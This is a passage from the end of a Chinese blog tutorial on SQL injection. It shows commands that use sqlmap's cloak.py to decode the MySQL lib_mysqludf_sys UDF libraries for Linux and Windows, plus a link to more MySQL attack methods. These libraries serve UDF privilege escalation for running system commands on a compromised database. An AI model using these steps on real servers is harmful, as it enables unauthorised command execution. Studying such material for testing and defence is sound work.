└─$python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
└─$python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
└─$python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
└─$python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

更多攻击方法参考

https://www.sqlsec.com/2020/11/mysql.html#%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0


sql注入
http://example.com/2023/01/01/sql注入/
作者
dddkia
发布于
2023年1月1日
许可协议